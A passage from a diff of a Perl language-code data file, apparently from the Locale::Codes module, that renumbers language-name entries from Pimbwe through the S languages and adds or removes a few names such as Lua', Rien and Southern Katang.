       q(Vaeakau-Taumako),
       ],
-   q(5466) => [
+   q(5462) => [
       q(Pimbwe),
       ],
-   q(5467) => [
+   q(5463) => [
       q(Piu),
       ],
-   q(5468) => [
+   q(5464) => [
       q(Piya-Kwonci),
       ],
-   q(5469) => [
+   q(5465) => [
       q(Pije),
       ],
-   q(5470) => [
+   q(5466) => [
       q(Pitjantjatjara),
       ],
-   q(5471) => [
+   q(5467) => [
       q(Ardhamagadhi Prakrit),
       ],
-   q(5472) => [
+   q(5468) => [
       q(Pokomo),
       q(Kipfokomo),
       ],
-   q(5473) => [
+   q(5469) => [
       q(Paekche),
       ],
-   q(5474) => [
+   q(5470) => [
       q(Pak-Tong),
       ],
-   q(5475) => [
+   q(5471) => [
       q(Pankhu),
       ],
-   q(5476) => [
+   q(5472) => [
       q(Pakanha),
       ],
-   q(5477) => [
+   q(5473) => [
       q(Pokoot),
       ],
-   q(5478) => [
+   q(5474) => [
       q(Pukapuka),
       ],
-   q(5479) => [
+   q(5475) => [
       q(Attapady Kurumba),
       ],
-   q(5480) => [
+   q(5476) => [
       q(Pakistan Sign Language),
       ],
-   q(5481) => [
+   q(5477) => [
       q(Maleng),
       ],
-   q(5482) => [
+   q(5478) => [
       q(Paku),
       ],
-   q(5483) => [
+   q(5479) => [
       q(Miani),
       ],
-   q(5484) => [
+   q(5480) => [
       q(Polonombauk),
       ],
-   q(5485) => [
+   q(5481) => [
       q(Central Palawano),
       ],
-   q(5486) => [
+   q(5482) => [
       q(Polari),
       ],
-   q(5487) => [
+   q(5483) => [
       q(Palu'e),
       ],
-   q(5488) => [
+   q(5484) => [
       q(Pilaga),
       ],
-   q(5489) => [
+   q(5485) => [
       q(Paulohi),
       ],
-   q(5490) => [
+   q(5486) => [
       q(Polci),
       ],
-   q(5491) => [
+   q(5487) => [
       q(Kohistani Shina),
       ],
-   q(5492) => [
+   q(5488) => [
       q(Shwe Palaung),
       ],
-   q(5493) => [
+   q(5489) => [
       q(Palenquero),
       ],
-   q(5494) => [
+   q(5490) => [
       q(Oluta Popoluca),
       ],
-   q(5495) => [
+   q(5491) => [
       q(Palpa),
       ],
-   q(5496) => [
+   q(5492) => [
       q(Palaic),
       ],
-   q(5497) => [
+   q(5493) => [
       q(Palaka Senoufo),
       ],
-   q(5498) => [
+   q(5494) => [
       q(San Marcos Tlacoyalco Popoloca),
       q(San Marcos Tlalcoyalco Popoloca),
       ],
-   q(5499) => [
+   q(5495) => [
       q(Plateau Malagasy),
       ],
-   q(5500) => [
+   q(5496) => [
       q(Palikur),
       ],
-   q(5501) => [
+   q(5497) => [
       q(Southwest Palawano),
       ],
-   q(5502) => [
+   q(5498) => [
       q(Brooke's Point Palawano),
       ],
-   q(5503) => [
+   q(5499) => [
       q(Bolyu),
       ],
-   q(5504) => [
+   q(5500) => [
       q(Paluan),
       ],
-   q(5505) => [
+   q(5501) => [
       q(Paama),
       ],
-   q(5506) => [
+   q(5502) => [
       q(Pambia),
       ],
-   q(5507) => [
+   q(5503) => [
       q(Pallanganmiddang),
       ],
-   q(5508) => [
+   q(5504) => [
       q(Pwaamei),
       ],
-   q(5509) => [
+   q(5505) => [
       q(Pamona),
       ],
-   q(5510) => [
+   q(5506) => [
       q(Maharastri Prakrit),
       ],
-   q(5511) => [
+   q(5507) => [
       q(Northern Pumi),
       ],
-   q(5512) => [
+   q(5508) => [
       q(Southern Pumi),
       ],
-   q(5513) => [
+   q(5509) => [
       q(Pamlico),
       ],
-   q(5514) => [
+   q(5510) => [
       q(Lingua Franca),
       ],
-   q(5515) => [
+   q(5511) => [
       q(Pomo),
       ],
-   q(5516) => [
+   q(5512) => [
       q(Pam),
       ],
-   q(5517) => [
+   q(5513) => [
       q(Pom),
       ],
-   q(5518) => [
+   q(5514) => [
       q(Northern Pame),
       ],
-   q(5519) => [
+   q(5515) => [
       q(Paynamar),
       ],
-   q(5520) => [
+   q(5516) => [
       q(Piemontese),
       ],
-   q(5521) => [
+   q(5517) => [
       q(Tuamotuan),
       ],
-   q(5522) => [
+   q(5518) => [
       q(Plains Miwok),
       ],
-   q(5523) => [
+   q(5519) => [
       q(Poumei Naga),
       ],
-   q(5524) => [
+   q(5520) => [
       q(Papuan Malay),
       ],
-   q(5525) => [
+   q(5521) => [
       q(Southern Pame),
       ],
-   q(5526) => [
+   q(5522) => [
       q(Punan Bah-Biau),
       ],
-   q(5527) => [
+   q(5523) => [
       q(Western Panjabi),
       ],
-   q(5528) => [
+   q(5524) => [
       q(Pannei),
       ],
-   q(5529) => [
+   q(5525) => [
       q(Western Penan),
       ],
-   q(5530) => [
+   q(5526) => [
       q(Pongu),
       ],
-   q(5531) => [
+   q(5527) => [
       q(Penrhyn),
       ],
-   q(5532) => [
+   q(5528) => [
       q(Aoheng),
       ],
-   q(5533) => [
+   q(5529) => [
       q(Pinjarup),
       ],
-   q(5534) => [
+   q(5530) => [
       q(Paunaka),
       ],
-   q(5535) => [
+   q(5531) => [
       q(Paleni),
       ],
-   q(5536) => [
+   q(5532) => [
       q(Punan Batu 1),
       ],
-   q(5537) => [
+   q(5533) => [
       q(Pinai-Hagahai),
       ],
-   q(5538) => [
+   q(5534) => [
       q(Panobo),
       ],
-   q(5539) => [
+   q(5535) => [
       q(Pancana),
       ],
-   q(5540) => [
+   q(5536) => [
       q(Pana (Burkina Faso)),
       ],
-   q(5541) => [
+   q(5537) => [
       q(Panim),
       ],
-   q(5542) => [
+   q(5538) => [
       q(Ponosakan),
       ],
-   q(5543) => [
+   q(5539) => [
       q(Pontic),
       ],
-   q(5544) => [
+   q(5540) => [
       q(Jiongnai Bunu),
       ],
-   q(5545) => [
+   q(5541) => [
       q(Pinigura),
       ],
-   q(5546) => [
+   q(5542) => [
       q(Panytyima),
       ],
-   q(5547) => [
+   q(5543) => [
       q(Phong-Kniang),
       ],
-   q(5548) => [
+   q(5544) => [
       q(Pinyin),
       ],
-   q(5549) => [
+   q(5545) => [
       q(Pana (Central African Republic)),
       ],
-   q(5550) => [
+   q(5546) => [
       q(Poqomam),
       ],
-   q(5551) => [
+   q(5547) => [
       q(San Juan Atzingo Popoloca),
       ],
-   q(5552) => [
+   q(5548) => [
       q(Poke),
       ],
-   q(5553) => [
+   q(5549) => [
       q(Potiguara),
       ],
-   q(5554) => [
+   q(5550) => [
       q(Poqomchi'),
       ],
-   q(5555) => [
+   q(5551) => [
       q(Highland Popoluca),
       ],
-   q(5556) => [
+   q(5552) => [
       q(Pokanga),
       ],
-   q(5557) => [
+   q(5553) => [
       q(Southeastern Pomo),
       ],
-   q(5558) => [
+   q(5554) => [
       q(Central Pomo),
       ],
-   q(5559) => [
+   q(5555) => [
       q(Pwapwa),
       ],
-   q(5560) => [
+   q(5556) => [
       q(Texistepec Popoluca),
       ],
-   q(5561) => [
+   q(5557) => [
       q(Sayula Popoluca),
       ],
-   q(5562) => [
+   q(5558) => [
       q(Potawatomi),
       ],
-   q(5563) => [
+   q(5559) => [
       q(Upper Guinea Crioulo),
       ],
-   q(5564) => [
+   q(5560) => [
       q(San Felipe Otlaltepec Popoloca),
       ],
-   q(5565) => [
+   q(5561) => [
       q(Polabian),
       ],
-   q(5566) => [
+   q(5562) => [
       q(Pogolo),
       ],
-   q(5567) => [
+   q(5563) => [
       q(Papi),
       ],
-   q(5568) => [
+   q(5564) => [
       q(Paipai),
       ],
-   q(5569) => [
+   q(5565) => [
       q(Uma),
       ],
-   q(5570) => [
+   q(5566) => [
       q(Pipil),
       q(Nicarao),
       ],
-   q(5571) => [
+   q(5567) => [
       q(Papuma),
       ],
-   q(5572) => [
+   q(5568) => [
       q(Papapana),
       ],
-   q(5573) => [
+   q(5569) => [
       q(Folopa),
       ],
-   q(5574) => [
+   q(5570) => [
       q(Pelende),
       ],
-   q(5575) => [
+   q(5571) => [
       q(Pei),
       ],
-   q(5576) => [
+   q(5572) => [
       q(San Luis Temalacayuca Popoloca),
       ],
-   q(5577) => [
+   q(5573) => [
       q(Pare),
       ],
-   q(5578) => [
+   q(5574) => [
       q(Papora),
       ],
-   q(5579) => [
+   q(5575) => [
       q(Pa'a),
       ],
-   q(5580) => [
+   q(5576) => [
       q(Malecite-Passamaquoddy),
       ],
-   q(5581) => [
+   q(5577) => [
+      q(Lua'),
+      ],
+   q(5578) => [
       q(Parachi),
       ],
-   q(5582) => [
+   q(5579) => [
       q(Parsi-Dari),
       ],
-   q(5583) => [
+   q(5580) => [
       q(Principense),
       ],
-   q(5584) => [
+   q(5581) => [
       q(Paranan),
       ],
-   q(5585) => [
+   q(5582) => [
       q(Prussian),
       ],
-   q(5586) => [
+   q(5583) => [
       q(Porohanon),
       ],
-   q(5587) => [
+   q(5584) => [
       q(Paici),
       ],
-   q(5588) => [
+   q(5585) => [
       q(Parauk),
       ],
-   q(5589) => [
+   q(5586) => [
       q(Peruvian Sign Language),
       ],
-   q(5590) => [
+   q(5587) => [
       q(Kibiri),
       ],
-   q(5591) => [
+   q(5588) => [
       q(Prasuni),
       ],
-   q(5592) => [
+   q(5589) => [
       q(Parsi),
       ],
-   q(5593) => [
+   q(5590) => [
       q(Asheninka Perene),
       ],
-   q(5594) => [
+   q(5591) => [
       q(Puri),
       ],
-   q(5595) => [
+   q(5592) => [
       q(Dari),
       q(Afghan Persian),
       ],
-   q(5596) => [
+   q(5593) => [
       q(Phai),
       ],
-   q(5597) => [
+   q(5594) => [
       q(Puragi),
       ],
-   q(5598) => [
+   q(5595) => [
       q(Parawen),
       ],
-   q(5599) => [
+   q(5596) => [
       q(Purik),
       ],
-   q(5600) => [
+   q(5597) => [
       q(Providencia Sign Language),
       ],
-   q(5601) => [
+   q(5598) => [
       q(Asue Awyu),
       ],
-   q(5602) => [
+   q(5599) => [
       q(Persian Sign Language),
       ],
-   q(5603) => [
+   q(5600) => [
       q(Plains Indian Sign Language),
       ],
-   q(5604) => [
+   q(5601) => [
       q(Central Malay),
       ],
-   q(5605) => [
+   q(5602) => [
       q(Penang Sign Language),
       ],
-   q(5606) => [
+   q(5603) => [
       q(Southwest Pashai),
       q(Southwest Pashayi),
       ],
-   q(5607) => [
+   q(5604) => [
       q(Southeast Pashai),
       q(Southeast Pashayi),
       ],
-   q(5608) => [
+   q(5605) => [
       q(Puerto Rican Sign Language),
       ],
-   q(5609) => [
+   q(5606) => [
       q(Pauserna),
       ],
-   q(5610) => [
+   q(5607) => [
       q(Panasuan),
       ],
-   q(5611) => [
+   q(5608) => [
       q(Polish Sign Language),
       ],
-   q(5612) => [
+   q(5609) => [
       q(Philippine Sign Language),
       ],
-   q(5613) => [
+   q(5610) => [
       q(Pasi),
       ],
-   q(5614) => [
+   q(5611) => [
       q(Portuguese Sign Language),
       ],
-   q(5615) => [
+   q(5612) => [
       q(Kaulong),
       ],
-   q(5616) => [
+   q(5613) => [
       q(Central Pashto),
       ],
-   q(5617) => [
+   q(5614) => [
       q(Sauraseni Prakrit),
       ],
-   q(5618) => [
+   q(5615) => [
       q(Port Sandwich),
       ],
-   q(5619) => [
+   q(5616) => [
       q(Piscataway),
       ],
-   q(5620) => [
+   q(5617) => [
       q(Pai Tavytera),
       ],
-   q(5621) => [
+   q(5618) => [
       q(Pataxo Ha-Ha-Hae),
       ],
-   q(5622) => [
+   q(5619) => [
       q(Pintiini),
       ],
-   q(5623) => [
+   q(5620) => [
       q(Patani),
       ],
-   q(5624) => [
+   q(5621) => [
       q(Zo'e),
       ],
-   q(5625) => [
+   q(5622) => [
       q(Patep),
       ],
-   q(5626) => [
+   q(5623) => [
       q(Pattapu),
       ],
-   q(5627) => [
+   q(5624) => [
       q(Piamatsina),
       ],
-   q(5628) => [
+   q(5625) => [
       q(Enrekang),
       ],
-   q(5629) => [
+   q(5626) => [
       q(Bambam),
       ],
-   q(5630) => [
+   q(5627) => [
       q(Port Vato),
       ],
-   q(5631) => [
+   q(5628) => [
       q(Pentlatch),
       ],
-   q(5632) => [
+   q(5629) => [
       q(Pathiya),
       ],
-   q(5633) => [
+   q(5630) => [
       q(Western Highland Purepecha),
       ],
-   q(5634) => [
+   q(5631) => [
       q(Purum),
       ],
-   q(5635) => [
+   q(5632) => [
       q(Punan Merap),
       ],
-   q(5636) => [
+   q(5633) => [
       q(Punan Aput),
       ],
-   q(5637) => [
+   q(5634) => [
       q(Puelche),
       ],
-   q(5638) => [
+   q(5635) => [
       q(Punan Merah),
       ],
-   q(5639) => [
+   q(5636) => [
       q(Phuie),
       ],
-   q(5640) => [
+   q(5637) => [
       q(Puinave),
       ],
-   q(5641) => [
+   q(5638) => [
       q(Punan Tubu),
       ],
-   q(5642) => [
+   q(5639) => [
+      q(Pu Ko),
+      ],
+   q(5640) => [
       q(Puma),
       ],
-   q(5643) => [
+   q(5641) => [
       q(Puoc),
       ],
-   q(5644) => [
+   q(5642) => [
       q(Pulabu),
       ],
-   q(5645) => [
+   q(5643) => [
       q(Puquina),
       ],
-   q(5646) => [
+   q(5644) => [
       q(Purubora),
       ],
-   q(5647) => [
+   q(5645) => [
       q(Putoh),
       ],
-   q(5648) => [
+   q(5646) => [
       q(Punu),
       ],
-   q(5649) => [
+   q(5647) => [
       q(Puluwatese),
       ],
-   q(5650) => [
+   q(5648) => [
       q(Puare),
       ],
-   q(5651) => [
+   q(5649) => [
       q(Purisimeno),
       ],
-   q(5652) => [
+   q(5650) => [
       q(Pawaia),
       ],
-   q(5653) => [
+   q(5651) => [
       q(Panawa),
       ],
-   q(5654) => [
+   q(5652) => [
       q(Gapapaiwa),
       ],
-   q(5655) => [
+   q(5653) => [
       q(Patwin),
       ],
-   q(5656) => [
+   q(5654) => [
       q(Molbog),
       ],
-   q(5657) => [
+   q(5655) => [
       q(Paiwan),
       ],
-   q(5658) => [
+   q(5656) => [
       q(Pwo Western Karen),
       ],
-   q(5659) => [
+   q(5657) => [
       q(Powari),
       ],
-   q(5660) => [
+   q(5658) => [
       q(Pwo Northern Karen),
       ],
-   q(5661) => [
+   q(5659) => [
       q(Quetzaltepec Mixe),
       ],
-   q(5662) => [
+   q(5660) => [
       q(Pye Krumen),
       ],
-   q(5663) => [
+   q(5661) => [
       q(Fyam),
       ],
-   q(5664) => [
+   q(5662) => [
       q(Poyanawa),
       ],
-   q(5665) => [
+   q(5663) => [
       q(Paraguayan Sign Language),
       q(Lengua de Senas del Paraguay),
       ],
-   q(5666) => [
+   q(5664) => [
       q(Puyuma),
       ],
-   q(5667) => [
+   q(5665) => [
       q(Pyu (Myanmar)),
       ],
-   q(5668) => [
+   q(5666) => [
       q(Pyen),
       ],
-   q(5669) => [
+   q(5667) => [
       q(Para Naga),
       ],
-   q(5670) => [
+   q(5668) => [
       q(Quapaw),
       ],
-   q(5671) => [
+   q(5669) => [
       q(Huallaga Huanuco Quechua),
       ],
-   q(5672) => [
+   q(5670) => [
       q(K'iche'),
       q(Quiche),
       ],
-   q(5673) => [
+   q(5671) => [
       q(Calderon Highland Quichua),
       ],
-   q(5674) => [
+   q(5672) => [
       q(Lambayeque Quechua),
       ],
-   q(5675) => [
+   q(5673) => [
       q(Chimborazo Highland Quichua),
       ],
-   q(5676) => [
+   q(5674) => [
       q(South Bolivian Quechua),
       ],
-   q(5677) => [
+   q(5675) => [
       q(Quileute),
       ],
-   q(5678) => [
+   q(5676) => [
       q(Chachapoyas Quechua),
       ],
-   q(5679) => [
+   q(5677) => [
       q(North Bolivian Quechua),
       ],
-   q(5680) => [
+   q(5678) => [
       q(Sipacapense),
       ],
-   q(5681) => [
+   q(5679) => [
       q(Quinault),
       ],
-   q(5682) => [
+   q(5680) => [
       q(Southern Pastaza Quechua),
       ],
-   q(5683) => [
+   q(5681) => [
       q(Quinqui),
       ],
-   q(5684) => [
+   q(5682) => [
       q(Yanahuanca Pasco Quechua),
       ],
-   q(5685) => [
+   q(5683) => [
       q(Santiago del Estero Quichua),
       ],
-   q(5686) => [
+   q(5684) => [
       q(Sacapulteco),
       ],
-   q(5687) => [
+   q(5685) => [
       q(Tena Lowland Quichua),
       ],
-   q(5688) => [
+   q(5686) => [
       q(Yauyos Quechua),
       ],
-   q(5689) => [
+   q(5687) => [
       q(Ayacucho Quechua),
       ],
-   q(5690) => [
+   q(5688) => [
       q(Cusco Quechua),
       ],
-   q(5691) => [
+   q(5689) => [
       q(Ambo-Pasco Quechua),
       ],
-   q(5692) => [
+   q(5690) => [
       q(Cajamarca Quechua),
       ],
-   q(5693) => [
+   q(5691) => [
       q(Eastern Apurimac Quechua),
       ],
-   q(5694) => [
+   q(5692) => [
       q(Huamalies-Dos de Mayo Huanuco Quechua),
       ],
-   q(5695) => [
+   q(5693) => [
       q(Imbabura Highland Quichua),
       ],
-   q(5696) => [
+   q(5694) => [
       q(Loja Highland Quichua),
       ],
-   q(5697) => [
+   q(5695) => [
       q(Cajatambo North Lima Quechua),
       ],
-   q(5698) => [
+   q(5696) => [
       q(Margos-Yarowilca-Lauricocha Quechua),
       ],
-   q(5699) => [
+   q(5697) => [
       q(North Junin Quechua),
       ],
-   q(5700) => [
+   q(5698) => [
       q(Napo Lowland Quechua),
       ],
-   q(5701) => [
+   q(5699) => [
       q(Pacaraos Quechua),
       ],
-   q(5702) => [
+   q(5700) => [
       q(San Martin Quechua),
       ],
-   q(5703) => [
+   q(5701) => [
       q(Huaylla Wanca Quechua),
       ],
-   q(5704) => [
+   q(5702) => [
       q(Queyu),
       ],
-   q(5705) => [
+   q(5703) => [
       q(Northern Pastaza Quichua),
       ],
-   q(5706) => [
+   q(5704) => [
       q(Corongo Ancash Quechua),
       ],
-   q(5707) => [
+   q(5705) => [
       q(Classical Quechua),
       ],
-   q(5708) => [
+   q(5706) => [
       q(Huaylas Ancash Quechua),
       ],
-   q(5709) => [
+   q(5707) => [
       q(Kuman (Russia)),
       ],
-   q(5710) => [
+   q(5708) => [
       q(Sihuas Ancash Quechua),
       ],
-   q(5711) => [
+   q(5709) => [
       q(Kwalhioqua-Tlatskanai),
       ],
-   q(5712) => [
+   q(5710) => [
       q(Chiquian Ancash Quechua),
       ],
-   q(5713) => [
+   q(5711) => [
       q(Chincha Quechua),
       ],
-   q(5714) => [
+   q(5712) => [
       q(Panao Huanuco Quechua),
       ],
-   q(5715) => [
+   q(5713) => [
       q(Salasaca Highland Quichua),
       ],
-   q(5716) => [
+   q(5714) => [
       q(Northern Conchucos Ancash Quechua),
       ],
-   q(5717) => [
+   q(5715) => [
       q(Southern Conchucos Ancash Quechua),
       ],
-   q(5718) => [
+   q(5716) => [
       q(Puno Quechua),
       ],
-   q(5719) => [
+   q(5717) => [
       q(Qashqa'i),
       ],
-   q(5720) => [
+   q(5718) => [
       q(Canar Highland Quichua),
       ],
-   q(5721) => [
+   q(5719) => [
       q(Southern Qiang),
       ],
-   q(5722) => [
+   q(5720) => [
       q(Santa Ana de Tusi Pasco Quechua),
       ],
-   q(5723) => [
+   q(5721) => [
       q(Arequipa-La Union Quechua),
       ],
-   q(5724) => [
+   q(5722) => [
       q(Jauja Wanca Quechua),
       ],
-   q(5725) => [
+   q(5723) => [
       q(Quenya),
       ],
-   q(5726) => [
+   q(5724) => [
       q(Quiripi),
       ],
-   q(5727) => [
+   q(5725) => [
       q(Dungmali),
       ],
-   q(5728) => [
+   q(5726) => [
       q(Camling),
       ],
-   q(5729) => [
+   q(5727) => [
       q(Rasawa),
       ],
-   q(5730) => [
+   q(5728) => [
       q(Rade),
       ],
-   q(5731) => [
+   q(5729) => [
       q(Western Meohang),
       ],
-   q(5732) => [
+   q(5730) => [
       q(Logooli),
       q(Lulogooli),
       ],
-   q(5733) => [
+   q(5731) => [
       q(Rabha),
       ],
-   q(5734) => [
+   q(5732) => [
       q(Ramoaaina),
       ],
-   q(5735) => [
+   q(5733) => [
       q(Tulu-Bohuai),
       ],
-   q(5736) => [
+   q(5734) => [
       q(Ralte),
       ],
-   q(5737) => [
+   q(5735) => [
       q(Canela),
       ],
-   q(5738) => [
+   q(5736) => [
       q(Riantana),
       ],
-   q(5739) => [
+   q(5737) => [
       q(Rao),
       ],
-   q(5740) => [
+   q(5738) => [
       q(Saam),
       ],
-   q(5741) => [
+   q(5739) => [
       q(Tegali),
       ],
-   q(5742) => [
+   q(5740) => [
       q(Razajerdi),
       ],
-   q(5743) => [
+   q(5741) => [
       q(Raute),
       ],
-   q(5744) => [
+   q(5742) => [
       q(Sampang),
       ],
-   q(5745) => [
+   q(5743) => [
       q(Rawang),
       ],
-   q(5746) => [
+   q(5744) => [
       q(Rang),
       ],
-   q(5747) => [
+   q(5745) => [
       q(Rapa),
       ],
-   q(5748) => [
+   q(5746) => [
       q(Rahambuu),
       ],
-   q(5749) => [
+   q(5747) => [
       q(Rumai Palaung),
       ],
-   q(5750) => [
+   q(5748) => [
       q(Northern Bontok),
       ],
-   q(5751) => [
+   q(5749) => [
       q(Miraya Bikol),
       ],
-   q(5752) => [
+   q(5750) => [
       q(Barababaraba),
       ],
-   q(5753) => [
+   q(5751) => [
       q(Reunion Creole French),
       ],
-   q(5754) => [
+   q(5752) => [
       q(Rudbari),
       ],
-   q(5755) => [
+   q(5753) => [
       q(Rerau),
       ],
-   q(5756) => [
+   q(5754) => [
       q(Rembong),
       ],
-   q(5757) => [
+   q(5755) => [
       q(Rejang Kayan),
       ],
-   q(5758) => [
+   q(5756) => [
       q(Kara (Tanzania)),
       ],
-   q(5759) => [
+   q(5757) => [
       q(Reli),
       ],
-   q(5760) => [
+   q(5758) => [
       q(Rejang),
       ],
-   q(5761) => [
+   q(5759) => [
       q(Rendille),
       ],
-   q(5762) => [
+   q(5760) => [
       q(Remo),
       ],
-   q(5763) => [
+   q(5761) => [
       q(Rengao),
       ],
-   q(5764) => [
+   q(5762) => [
       q(Rer Bare),
       ],
-   q(5765) => [
+   q(5763) => [
       q(Reshe),
       ],
-   q(5766) => [
+   q(5764) => [
       q(Retta),
       ],
-   q(5767) => [
+   q(5765) => [
       q(Reyesano),
       ],
-   q(5768) => [
+   q(5766) => [
       q(Roria),
       ],
-   q(5769) => [
+   q(5767) => [
       q(Romano-Greek),
       ],
-   q(5770) => [
+   q(5768) => [
       q(Rangkas),
       ],
-   q(5771) => [
+   q(5769) => [
       q(Romagnol),
       ],
-   q(5772) => [
+   q(5770) => [
       q(Resigaro),
       ],
-   q(5773) => [
+   q(5771) => [
       q(Southern Roglai),
       ],
-   q(5774) => [
+   q(5772) => [
       q(Ringgou),
       ],
-   q(5775) => [
+   q(5773) => [
       q(Rohingya),
       ],
-   q(5776) => [
+   q(5774) => [
       q(Yahang),
       ],
-   q(5777) => [
+   q(5775) => [
       q(Riang (India)),
       ],
-   q(5778) => [
+   q(5776) => [
+      q(Rien),
+      ],
+   q(5777) => [
       q(Tarifit),
       ],
-   q(5779) => [
+   q(5778) => [
       q(Riang (Myanmar)),
       ],
-   q(5780) => [
+   q(5779) => [
       q(Nyaturu),
       ],
-   q(5781) => [
+   q(5780) => [
       q(Nungu),
       ],
-   q(5782) => [
+   q(5781) => [
       q(Ribun),
       ],
-   q(5783) => [
+   q(5782) => [
       q(Ritarungo),
       ],
-   q(5784) => [
+   q(5783) => [
       q(Riung),
       ],
-   q(5785) => [
+   q(5784) => [
       q(Rajong),
       ],
-   q(5786) => [
+   q(5785) => [
       q(Raji),
       ],
-   q(5787) => [
+   q(5786) => [
       q(Rajbanshi),
       ],
-   q(5788) => [
+   q(5787) => [
       q(Kraol),
       ],
-   q(5789) => [
+   q(5788) => [
       q(Rikbaktsa),
       ],
-   q(5790) => [
+   q(5789) => [
       q(Rakahanga-Manihiki),
       ],
-   q(5791) => [
+   q(5790) => [
       q(Rakhine),
       ],
-   q(5792) => [
+   q(5791) => [
       q(Marka),
       ],
-   q(5793) => [
+   q(5792) => [
       q(Rangpuri),
       q(Kamta),
       ],
-   q(5794) => [
+   q(5793) => [
       q(Arakwal),
       ],
-   q(5795) => [
+   q(5794) => [
       q(Rama),
       ],
-   q(5796) => [
+   q(5795) => [
       q(Rembarunga),
       ],
-   q(5797) => [
+   q(5796) => [
       q(Carpathian Romani),
       ],
-   q(5798) => [
+   q(5797) => [
       q(Traveller Danish),
       ],
-   q(5799) => [
+   q(5798) => [
       q(Angloromani),
       ],
-   q(5800) => [
+   q(5799) => [
       q(Kalo Finnish Romani),
       ],
-   q(5801) => [
+   q(5800) => [
       q(Traveller Norwegian),
       ],
-   q(5802) => [
+   q(5801) => [
       q(Murkim),
       ],
-   q(5803) => [
+   q(5802) => [
       q(Lomavren),
       ],
-   q(5804) => [
+   q(5803) => [
       q(Romkun),
       ],
-   q(5805) => [
+   q(5804) => [
       q(Baltic Romani),
       ],
-   q(5806) => [
+   q(5805) => [
       q(Roma),
       ],
-   q(5807) => [
+   q(5806) => [
       q(Balkan Romani),
       ],
-   q(5808) => [
+   q(5807) => [
       q(Sinte Romani),
       ],
-   q(5809) => [
+   q(5808) => [
       q(Rempi),
       ],
-   q(5810) => [
+   q(5809) => [
       q(Calo),
       ],
-   q(5811) => [
+   q(5810) => [
       q(Romanian Sign Language),
       ],
-   q(5812) => [
+   q(5811) => [
       q(Domari),
       ],
-   q(5813) => [
+   q(5812) => [
       q(Tavringer Romani),
       ],
-   q(5814) => [
+   q(5813) => [
       q(Romanova),
       ],
-   q(5815) => [
+   q(5814) => [
       q(Welsh Romani),
       ],
-   q(5816) => [
+   q(5815) => [
       q(Romam),
       ],
-   q(5817) => [
+   q(5816) => [
       q(Vlax Romani),
       ],
-   q(5818) => [
+   q(5817) => [
       q(Marma),
       ],
-   q(5819) => [
+   q(5818) => [
       q(Ruund),
       ],
-   q(5820) => [
+   q(5819) => [
       q(Ronga),
       ],
-   q(5821) => [
+   q(5820) => [
       q(Ranglong),
       ],
-   q(5822) => [
+   q(5821) => [
       q(Roon),
       ],
-   q(5823) => [
+   q(5822) => [
       q(Rongpo),
       ],
-   q(5824) => [
+   q(5823) => [
       q(Nari Nari),
       ],
-   q(5825) => [
+   q(5824) => [
       q(Rungwa),
       ],
-   q(5826) => [
+   q(5825) => [
       q(Tae'),
       ],
-   q(5827) => [
+   q(5826) => [
       q(Cacgia Roglai),
       ],
-   q(5828) => [
+   q(5827) => [
       q(Rogo),
       ],
-   q(5829) => [
+   q(5828) => [
       q(Ronji),
       ],
-   q(5830) => [
+   q(5829) => [
       q(Rombo),
       ],
-   q(5831) => [
+   q(5830) => [
       q(Northern Roglai),
       ],
-   q(5832) => [
+   q(5831) => [
       q(Romblomanon),
       ],
-   q(5833) => [
+   q(5832) => [
       q(Rotokas),
       ],
-   q(5834) => [
+   q(5833) => [
       q(Kriol),
       ],
-   q(5835) => [
+   q(5834) => [
       q(Rongga),
       ],
-   q(5836) => [
+   q(5835) => [
       q(Runga),
       ],
-   q(5837) => [
+   q(5836) => [
       q(Dela-Oenale),
       ],
-   q(5838) => [
+   q(5837) => [
       q(Repanbitip),
       ],
-   q(5839) => [
+   q(5838) => [
       q(Rapting),
       ],
-   q(5840) => [
+   q(5839) => [
       q(Ririo),
       ],
-   q(5841) => [
+   q(5840) => [
       q(Waima),
       ],
-   q(5842) => [
+   q(5841) => [
       q(Arritinngithigh),
       ],
-   q(5843) => [
+   q(5842) => [
       q(Romano-Serbian),
       ],
+   q(5843) => [
+      q(Rennellese Sign Language),
+      ],
    q(5844) => [
       q(Russian Sign Language),
       ],
@@ -18113,437 +18105,437 @@ $Locale::Codes::Data{'language'}{'id2names'} = {
       q(North Slavey),
       ],
    q(5929) => [
-      q(Southern Katang),
-      ],
-   q(5930) => [
       q(Shumcho),
       ],
-   q(5931) => [
+   q(5930) => [
       q(Sheni),
       ],
-   q(5932) => [
+   q(5931) => [
       q(Sha),
       ],
-   q(5933) => [
+   q(5932) => [
       q(Sicel),
       ],
-   q(5934) => [
+   q(5933) => [
       q(Toraja-Sa'dan),
       ],
-   q(5935) => [
+   q(5934) => [
       q(Shabak),
       ],
-   q(5936) => [
+   q(5935) => [
       q(Sassarese Sardinian),
       ],
-   q(5937) => [
+   q(5936) => [
       q(Surubu),
       ],
-   q(5938) => [
+   q(5937) => [
       q(Sarli),
       ],
-   q(5939) => [
+   q(5938) => [
       q(Savi),
       ],
-   q(5940) => [
+   q(5939) => [
       q(Southern Kurdish),
       ],
-   q(5941) => [
+   q(5940) => [
       q(Suundi),
       ],
-   q(5942) => [
+   q(5941) => [
       q(Sos Kundi),
       ],
-   q(5943) => [
+   q(5942) => [
       q(Saudi Arabian Sign Language),
       ],
-   q(5944) => [
+   q(5943) => [
       q(Semandang),
       ],
-   q(5945) => [
+   q(5944) => [
       q(Gallurese Sardinian),
       ],
-   q(5946) => [
+   q(5945) => [
       q(Bukar-Sadung Bidayuh),
       ],
-   q(5947) => [
+   q(5946) => [
       q(Sherdukpen),
       ],
-   q(5948) => [
+   q(5947) => [
       q(Oraon Sadri),
       ],
-   q(5949) => [
+   q(5948) => [
       q(Sened),
       ],
-   q(5950) => [
+   q(5949) => [
       q(Shuadit),
       ],
-   q(5951) => [
+   q(5950) => [
       q(Sarudu),
       ],
-   q(5952) => [
+   q(5951) => [
       q(Sibu Melanau),
       ],
-   q(5953) => [
+   q(5952) => [
       q(Sallands),
       ],
-   q(5954) => [
+   q(5953) => [
       q(Semai),
       ],
-   q(5955) => [
+   q(5954) => [
       q(Shempire Senoufo),
       ],
-   q(5956) => [
+   q(5955) => [
       q(Sechelt),
       ],
-   q(5957) => [
+   q(5956) => [
       q(Sedang),
       ],
-   q(5958) => [
+   q(5957) => [
       q(Seneca),
       ],
-   q(5959) => [
+   q(5958) => [
       q(Cebaara Senoufo),
       ],
-   q(5960) => [
+   q(5959) => [
       q(Segeju),
       ],
-   q(5961) => [
+   q(5960) => [
       q(Sena),
       ],
-   q(5962) => [
+   q(5961) => [
       q(Seri),
       ],
-   q(5963) => [
+   q(5962) => [
       q(Sene),
       ],
-   q(5964) => [
+   q(5963) => [
